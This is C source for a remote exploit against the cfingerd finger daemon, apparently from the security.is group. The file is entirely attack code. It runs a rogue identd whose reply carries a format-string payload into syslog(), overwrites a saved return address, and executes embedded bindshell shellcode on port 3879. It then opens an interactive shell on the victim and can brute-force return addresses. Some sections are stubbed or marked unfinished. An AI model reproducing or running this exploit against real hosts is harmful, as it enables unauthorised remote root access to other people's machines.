/*
12345678901234567890123456789012345678901234567890123456789012345678901234567890
0        1         2         3         4         5         6         7         8
 * Linux(x86) remote exploit for cfingerd, by
 *
 *    -                     .           .   -
 *   -                        -            -
 *  -     -    -   - - - -- - -  -  -   - -
 *   -   -    -   -  - --   - -   - -   -  -
 *    - ---- -   -   - -    - --   --   -   -
 *   -   -    -   -  - -    - -     -   -  -
 *  -     -    -   --- -    -  --   - . - -
 *
 * Vulnerability discovered by DiGiT.
 * Exploited co-operatively by security.is members.
 *
 * PRIVATE#$%!&*@ DO NOT DISTRIBUTE!!!
 *
 * The ideology behind this:
 * <:::><align><addresses><padding><eip generator><nops><shellcode>\r\n
 *
 * Think of our approach as four buffer simultaneously.
 *
 * 1) The response buffer to cfingerd's ident request, it is
 *    padded with only the necessary bytes that normally are
 *    "USERID : UNIX : ...". Its length is limited to 256
 *    bytes.
 * 2) The global heap buffer in cfingerd that contains the
 *    user ID. It length can at maximum be 
 *    256-strlen("USERID : UNIX...\r\n"), 251 in our case.
 * 3) The cannot-recall-its-name buffer that contains:
 *    "root was fingered from <200 bytes of our evil buffer>"
 *    syslog() is then incorrectly called with this buffer as
 *    a format string.
 * 4) The internal processing buffer of syslog() (vfprintf).
 *    There, our malign format string overwrites a saved %eip
 *    register, and changes it to an address in the middle of
 *    the nops in buffer #2.
 *
 * That is all there is to it, now HAVE FUN! :)
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>


#define ADDRESS_BUFFER_SIZE   78
#define APPEND_BUFFER_SIZE    40   
#define REMOTE_BUFFER_SIZE   200   


typedef struct
{
   char *description;
   unsigned char *code;
   int type;
} shellcodes_t;


typedef struct
{
   char *name;
   unsigned long egg_address;
   unsigned long eip_address;
   int alignment;
   int padding;
} platforms_t;


struct identd_t
{
   unsigned int port;
   int sock;
} identd;


struct bruteforce_t
{
   int enabled;
   int step;
   unsigned long start;
   unsigned long stop;
} brute_force;


struct target_t
{
   char evil_buffer[512];
   char *name;
   char *request_user;
   struct in_addr in;
   int sock;
   int bindshell_sock;
   unsigned int port;
   unsigned int platform_number;
   unsigned int shellcode_number;
   platforms_t *platform;
   shellcodes_t *shellcode;
   unsigned long *eip_address;
} target;


shellcodes_t shellcodes[] =
{
   {
      "Linux(x86) JMP -1 (infinite loop), for testing purposes",
      "\xeb\xfe",
      -1
   }, {
      "Linux(x86) bindshell on port 3879",
      "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
      "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
      "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
      "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
      "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
      "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
      "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
      "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh",
      3879
   }, {
      NULL, NULL, 0
   }
};


platforms_t platforms[] =
{
   {
      "Kleenux v6.66",
      0x0804dead, /* the exact beginning of the global ident buffer */
      0xbfffc0de,
      3, 40 /* dividable with 4 */
   }, {
      NULL, 0L, 0L, 0, 0
   }
};


static char ident_buffer[] = ":::"; /* XXX: More required? */
static char prepend_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char pad_buffer[128];
static char shellcode_buffer[256];


void clean_exit(void)
{
   if (identd.sock > 0)
      close (identd.sock);   
   if (target.sock > 0)
      close (target.sock);
   if (target.bindshell_sock > 0)
      close (target.bindshell_sock);

   exit (0);
}


void signal_handler(int number)
{
   printf ("   [x] Received signal %d, shutting down...\n", number);

   clean_exit();
}


void resolve_hostname(void)
{
   struct hostent *he;
 
   if ( (inet_aton (target.name, &target.in)) == 0)
   {
      if ( (he = gethostbyname (target.name)) == NULL)
      {
         printf ("   [-] Unable to resolve %s.\n", target.name);
         exit (-1);
      }
      memcpy (&(target.in), he->h_addr, he->h_length);
      printf ("   [+] Resolved %s to %s.\n", 
         target.name, inet_ntoa(target.in));
   }

   return;
}


/* XXX: FIX THIS! */
void bind_identd(void)
{
   struct sockaddr_in sin;
   int opt = 0; /* XXX */
   struct { int a,b; } ling = { 1, 2 }; /* XXXXXXX... */

   sin.sin_family      = PF_INET;
   sin.sin_port        = htons (identd.port);
   sin.sin_addr.s_addr = INADDR_ANY;
   memset (&(sin.sin_zero), '\0', sizeof(sin.sin_zero));

   if ( (identd.sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
   {
      printf ("   [-] No socket available for assignment.\n");
      exit (-1);
   }

   if ( (setsockopt(identd.sock, SOL_SOCKET, SO_REUSEADDR, (void *)&opt, sizeof(opt))) )
   {
      close (identd.sock);
      printf ("   [-] Unable to set reusage of the identd socket.\n");
      exit (-1);
   }

   if ( (setsockopt(identd.sock, SOL_SOCKET, SO_LINGER, (void *)&ling, sizeof(ling))) )
   {
      close (identd.sock);
      printf ("   [-] Unable to enable SO_LINGER.\n");
      exit (-1);
   }

   if ( (bind (identd.sock, (struct sockaddr *)&sin, sizeof(sin))) < 0)
   {
      close (identd.sock);
      printf ("   [-] It seems that port %d is already bound.\n"
              "       Shame on you.\n", identd.port);
      exit (-1);
   }

   if ( (listen (identd.sock, 100)) < 0)
   {
      close (identd.sock);
      printf ("   [-] Failed to listen() to port %d.\n", identd.port);
      exit (-1);
   }

   printf ("   [+] Successfully bound to port %d and awaiting connections.\n",
           identd.port);

   return;
}


void connect_to_cfingerd(void)
{
   struct sockaddr_in sin;

   if ( (target.sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
   {
      printf ("   [-] No socket available for finger.\n");
      clean_exit();
   }

   sin.sin_family      = PF_INET;
   sin.sin_port        = htons (target.port);
   sin.sin_addr.s_addr = target.in.s_addr;
   memset (&(sin.sin_zero), '\0', sizeof(sin.sin_zero));

   if ( (connect (target.sock, (struct sockaddr *)&sin, sizeof (sin))) < 0)
   {
      printf ("   [-] Unable to connect to %s:%d.\n", target.name, target.port);
      clean_exit();
   }

   return;
}


void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous)
{
   int i;
   unsigned int tmp = 0;
   unsigned int copied = previous;
   unsigned int num[4] =
   {
      (unsigned int) (shellcode_addr & 0x000000ff),
      (unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
      (unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
      (unsigned int)((shellcode_addr & 0xff000000) >> 24)
   };

   memset (prepend_buffer, '\0', sizeof(prepend_buffer));
   memset (append_buffer,  '\0', sizeof(append_buffer));

   for (i = 0; i < 4; i++)
   {
      while (copied > 0x100)
         copied -= 0x100;

      if ( (i > 0) && (num[i-1] == num[i]) )
         strcat (append_buffer, "%n");
      else if (copied < num[i])
      {
         if ( (num[i] - copied) <= 10)
         {
            sprintf (append_buffer+strlen(append_buffer), "%.*s",
               (int)(num[i] - copied), "security.is!");
            copied += (num[i] - copied);
            strcat (append_buffer, "%n");
         } else {
            sprintf (append_buffer+strlen(append_buffer), "%%.%du",
               num[i] - copied);
            copied += (num[i] - copied);
            strcat (append_buffer, "%n");
            strcat (prepend_buffer, "AAAA"); /* a dummy */
         }
      } else {
         tmp = ((num[i] + 0xff) - copied);
         sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
         copied += ((num[i] + 0xff) - copied);
         strcat (append_buffer, "%n");
         strcat (prepend_buffer, "AAAA"); /* another dummy */
      }
      sprintf (prepend_buffer+strlen(prepend_buffer), "%c%c%c%c",
         (unsigned char) ((eip_addr+i) & 0x000000ff),
         (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
         (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
         (unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
   }

   while (strlen (prepend_buffer) < ADDRESS_BUFFER_SIZE)
      strcat (prepend_buffer, "X");

   while (strlen (append_buffer) < APPEND_BUFFER_SIZE)
      strcat (append_buffer, "\x90");

#ifdef DEBUG
   printf ("\nGeneration complete:\nPrepend: ");
   for (i = 0; i < strlen (prepend_buffer); i++)
   {
      if ( ((i % 4) == 0) && (i > 0) )
         printf (".");
      printf ("%02x", (unsigned char)prepend_buffer[i]);
   }
   printf ("\nAppend: %s\n", append_buffer);
#endif

   return;
}


void construct_buffer(void)
{
   int written_bytes = ADDRESS_BUFFER_SIZE;
   int nop_count     = 0;
   unsigned long ret = 0L;

   memset (pad_buffer, '\0', sizeof(pad_buffer));
   memset (shellcode_buffer, '\0', sizeof(shellcode_buffer));

   /* STEP 1: Create the appropriate padding buffer. */
   /* XXX: Is 8-byte padding a necessity? */

   written_bytes += 19; /* XXX: strlen("root fingered from ..") */
   /* XXX: written_bytes += 47; ? (internal syslog() things) */

   while (target.platform->padding > 4)
   {
      strcat (pad_buffer, "%c");
      target.platform->padding -= 4;
      written_bytes++;
   }

   /* STEP 2: Form the address and shellcode buffers. */

//   nop_count  = strlen (ident_buffer); // necessary?
   nop_count  = ADDRESS_BUFFER_SIZE;
   nop_count += strlen (pad_buffer);
   nop_count += APPEND_BUFFER_SIZE;
   nop_count += strlen (target.shellcode->code);
   nop_count  = REMOTE_BUFFER_SIZE - nop_count;

   ret  = target.platform->egg_address;
   ret += ADDRESS_BUFFER_SIZE;
   ret += strlen (pad_buffer);
   ret += APPEND_BUFFER_SIZE;
   ret += (int)(nop_count / 2);

   (void)calculate_rets (target.platform->eip_address, ret, written_bytes);

   /* STEP 3: Assemble our evil buffer. */

   memset (shellcode_buffer, '\x90', nop_count);
   strcat (shellcode_buffer, target.shellcode->code);

   sprintf (target.evil_buffer, "%s%.*s%s%s%s%s\r\n", 
      ident_buffer, target.platform->alignment, "BLAH", 
      prepend_buffer, pad_buffer, append_buffer, shellcode_buffer);
                         
   if (strlen (target.evil_buffer) > REMOTE_BUFFER_SIZE)
   {
      printf ("   [-] Our evil buffer has exceeded its limit (%d vs. %d)\n", 
         strlen (target.evil_buffer), REMOTE_BUFFER_SIZE);
      return; /* unwise? */
   }

   return;
}

 void serve_ident_request(void)
{
   char buf[512+1];
   struct timeval tv;
   struct in_addr client_in; /* XXX */
   fd_set fds;
   int sock = -1;
   int i = 0;

   while (1)
   {
      i = 0;
      tv.tv_sec  = 5;
      tv.tv_usec = 0;
      FD_ZERO (&fds);
      FD_SET  (identd.sock, &fds);

      i = select (identd.sock + 1, &fds, NULL, NULL, &tv);

      if (i <= 0)
      {
         printf ("   [-] Oops, no connection was made to our identd.\n");
         return;
      }

      /* XXX: sock = accept() ... */
      if (!memcmp (&target.in, &client_in, sizeof(client_in)))
         break;

      printf ("   [-] Ignored an identd connection from %s!\n", 
         inet_ntoa(client_in));
      /* XXX */
      close (sock);
   }

   i = 0;
   tv.tv_sec  = 5;
   tv.tv_usec = 0;
   FD_ZERO (&fds);
   FD_SET  (sock, &fds);
   
   i = select (sock + 1, &fds, NULL, NULL, &tv);

   if (i <= 0)
   {
      printf ("   [-] No data was available from the identd connection.\n");
      return;
   }

   if ( (read (sock, buf, sizeof(buf)-1)) <= 0)
   {
      printf ("   [-] read() failed from the new connection.\n");
      return;
   }

   /* XXX: Assert that inetd is used, and output a fake reply? */

   write (sock, target.evil_buffer, strlen(target.evil_buffer));

   return;
}


/* XXX: Fix things, add signal() for SIGINT ? */
void run_bindshell(int sock, int port)
{
   char buf[512+1];
   struct sockaddr_in sin;
   struct timeval tv;
   fd_set fds;
   int i = 0;

   if (sock == 0)
   {
      if ( (target.bindshell_sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
         return;

      sin.sin_family      = PF_INET;
      sin.sin_port        = htons (port);
      sin.sin_addr.s_addr = target.in.s_addr;
      memset (&(sin.sin_zero), '\0', sizeof(sin.sin_zero));

      if ( (connect (target.bindshell_sock, (struct sockaddr *)&sin, sizeof(struct sockaddr))) < 0)
      {
         target.bindshell_sock = -1;
         close (target.bindshell_sock);
         return;
      }

      printf ("   [+] Connection to %s:%d SUCCEEDED, bindshell initiated.\n", 
         target.name, port);
   } else
      target.bindshell_sock = sock;

   write (target.bindshell_sock, "uname -a;id;\n", 13);

   while (1)
   {
      tv.tv_sec  = 1;
      tv.tv_usec = 0;
      FD_ZERO (&fds);
      FD_SET  (fileno (stdin), &fds);
      FD_SET  (target.bindshell_sock, &fds);

      i = select ((target.bindshell_sock + 1), &fds, NULL, NULL, &tv);

      if (i == 0)
         continue;

      if (i < 0)
      {
         close (target.bindshell_sock); 
         target.bindshell_sock = -1;
         printf ("   [-] Bindshell terminated.\n");
         return;
      }

      memset (buf, '\0', sizeof(buf));

      if (FD_ISSET (fileno (stdin), &fds))
      {
         if ( (read (fileno (stdin), buf, sizeof(buf)-1)) > 0)
         {
            if ( (write (target.bindshell_sock, buf, strlen(buf))) != strlen(buf))
            {
               close (target.bindshell_sock); 
               target.bindshell_sock = -1;
               printf ("   [-] Bindshell terminated, unable to write.\n");
               return;
            }
         }
      }

      memset (buf, '\0', sizeof(buf));

      if (FD_ISSET (target.bindshell_sock, &fds))
      {
         if ( (read (target.bindshell_sock, buf, sizeof(buf)-1)) <= 0)
         {
            close (target.bindshell_sock); 
            target.bindshell_sock = -1; 
            printf ("   [-] Bindshell terminated, unable to read.\n");
            return;
         }
         printf ("%s", buf);
      }
   }

   return;
}


void initialize(void)
{
   identd.port             =  113;
   identd.sock             = -1;
   brute_force.enabled     =  0;
   brute_force.start       =  0L;
   brute_force.stop        =  0L;
   brute_force.step        =  0;
   target.name             =  NULL;
   target.port             =  79;
   target.platform_number  = -1;
   target.shellcode_number = -1;
   target.sock             = -1;
   target.bindshell_sock   = -1;
   target.eip_address      =  NULL;
   target.platform         =  NULL;
   target.shellcode        =  (shellcodes_t *)&shellcodes[1];
   target.request_user     =  "root";
   memset (&(target.evil_buffer), '\0', sizeof(target.evil_buffer));
   memset (&(target.in), '\0', sizeof(target.in));

   return;
}


void usage(char *program_name)
{
   platforms_t  *pt = &platforms[0];
   shellcodes_t *st = &shellcodes[0];
   int i = 0;
   
   printf ("Usage: %s <-t target> <-p platform> [other arguments]\n", program_name);
   printf ("   -s: Specify an alternative shellcode.\n");
   printf ("   -I: A port for identd instead of 113.\n");
   printf ("   -F: Remote port for cfingerd instead of 79.\n");
   printf ("   -b: Use the Brute Force, Luke!\n");
   printf ("   -u: A user to finger on the remote host instead of root.\n");

   printf ("\nSupported platforms:\n");
   while (platforms[i].name != NULL)
   {
      pt = &platforms[i];
      printf ("   %d: %s\n", i++, pt->name);
   }

   i = 0;
   printf ("\nAvailable shellcodes:\n");
   while (shellcodes[i].description != NULL)
   {
      st = &shellcodes[i];
      printf ("   %d: %s (%d bytes)\n", 
         i++, st->description, strlen(st->code));
   }

   exit (0);
}


int main(int argc, char **argv)
{
   platforms_t  *pt = &platforms[0];
   shellcodes_t *st = &shellcodes[0];
   int i, c;

   printf ("cfingerd remote exploit, brought to you by security.is\n");
   printf ("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");

   if (getuid())
   {
      printf ("   Because the exploit utilizes port 113 (identd),\n");
      printf ("   it must be run with superuser privileges.\n");
      exit (0);
   }

   (void)initialize();

   while ( (c = getopt(argc, argv, "s:p:I:t:F:u:bh?")) != EOF)
   {
      switch (c)
      {
         case 'b':
            brute_force.enabled = 1;
            break;

         case 'p':
            target.platform_number = atoi(optarg);
            break;

         case 's':
            target.shellcode_number = atoi(optarg);
            break;

         case 'I':
            identd.port = atoi(optarg);
            break;

         case 'F':
            target.port = atoi(optarg);
            break;

         case 't':
            target.name = (char *)strdup(optarg);
            break;

         case 'u':
            target.request_user = (char *)strdup(optarg);
            break;

         default:
            printf ("   [-] Unrecognized option: -%c.\n", c);
            /* fall through */
         case 'h':
         case '?':
            usage (argv[0]);
            /* not reached */
      }
   }

   if (target.name == NULL)
   {
      printf ("   [-] No victim was specified.\n");
      usage (argv[0]);
   }

   if (target.platform_number < 0)
   {
      printf ("   [-] Missing argument for remote platform.\n");
      usage (argv[0]);
   }

   for (i = 0; i < target.platform_number; i++)
   {
      pt = &platforms[i];

      if (pt->name == NULL)
      {
         printf ("   [-] Abnormal platform number.\n");
         exit (-1);
      }
   }

   printf ("   [+] Platform: %s.\n", pt->name);
   target.platform    = pt;
   target.eip_address = (unsigned long *)&(target.platform->eip_address);

   if (target.shellcode_number >= 0)
   {
      for (i = 0; i < target.shellcode_number; i++)
      {
         st = &shellcodes[i];

         if (st->description == NULL)
         {
            printf ("   [-] Abnormal shellcode number.\n");
            exit (-1);
         }
      }
      target.shellcode = st;
   }

   printf ("   [+] Shellcode: %s.\n", target.shellcode->description);

   if (identd.port != 113)
      printf ("   [+] Identd port set to %d.\n", identd.port);

   (void)resolve_hostname();
   
   if (brute_force.enabled == 1)
   {
      printf ("   [:] Enter \"start stop step\" for brute force.\n");
      printf ("       (e.g. 0xbfff1214 0xbfff12a0 4)\n");

      while ( (fscanf (stdin, "%lx %lx %u", &(brute_force.start),
             &(brute_force.stop), &(brute_force.step))) != 3)
         printf ("   [-] The arguments were incorrectly specified.\n");

      if ( (((unsigned long)(brute_force.start) >> 16) != 0xbfff) ||
           (((unsigned long)(brute_force.stop)  >> 16) != 0xbfff) )
         printf ("   [!] Warning! On Linuces, the %%eip register is saved "
                 "on the stack, 0xbfff....!\n");

      if (brute_force.step % 4)
         printf ("   [!] Warning! It is highly recommended having the step "
                 "dividable with 4.\n");

      target.platform->eip_address = brute_force.start;
   }

   signal (SIGHUP,  signal_handler);
   signal (SIGINT,  signal_handler);
   signal (SIGTERM, signal_handler);
   signal (SIGQUIT, signal_handler);

   (void)bind_identd();

   while (1)
   {
      printf ("   [+] Using %%eip address: %#lx.\n", *target.eip_address);

      for (c = 0, i = 0; i < 4; i++)
      {
         if ((((u_long)(*target.eip_address + i)        & 0xff) == 0x00) ||
            ((((u_long)(*target.eip_address + i) >>  8) & 0xff) == 0x00) ||
            ((((u_long)(*target.eip_address + i) >> 16) & 0xff) == 0x00) ||
            ((((u_long)(*target.eip_address + i) >> 24) & 0xff) == 0x00) )
            c++;
      }
      if (c)
         printf ("   [!] Warning! The buffer will include NULL bytes. (%d/4)\n", c);

      (void)construct_buffer();

      (void)connect_to_cfingerd();

      (void)serve_ident_request(); /* inetd */

      write (target.sock, target.request_user, strlen (target.request_user));
      write (target.sock, "\n", 1);

      (void)serve_ident_request(); /* cfingerd */

      switch (target.shellcode->type)
      {
         case -1:
            close (target.sock);
            target.sock = -1;
            break;

         case 0: /* dup2 bindshell */
            run_bindshell (target.sock, 0);
            break;

         default: /* bindshell on another port */
            close (target.sock);
            target.sock = -1;
            run_bindshell (0, target.shellcode->type);
            break;
      }

      if (brute_force.enabled == 1)
      {
         *target.eip_address += brute_force.step;
         if (*target.eip_address >= brute_force.stop)
            break;
      } else
         break;
   }

   printf ("   [-] The exploit has been discontinued.\n");

   clean_exit();

   return (0);
}
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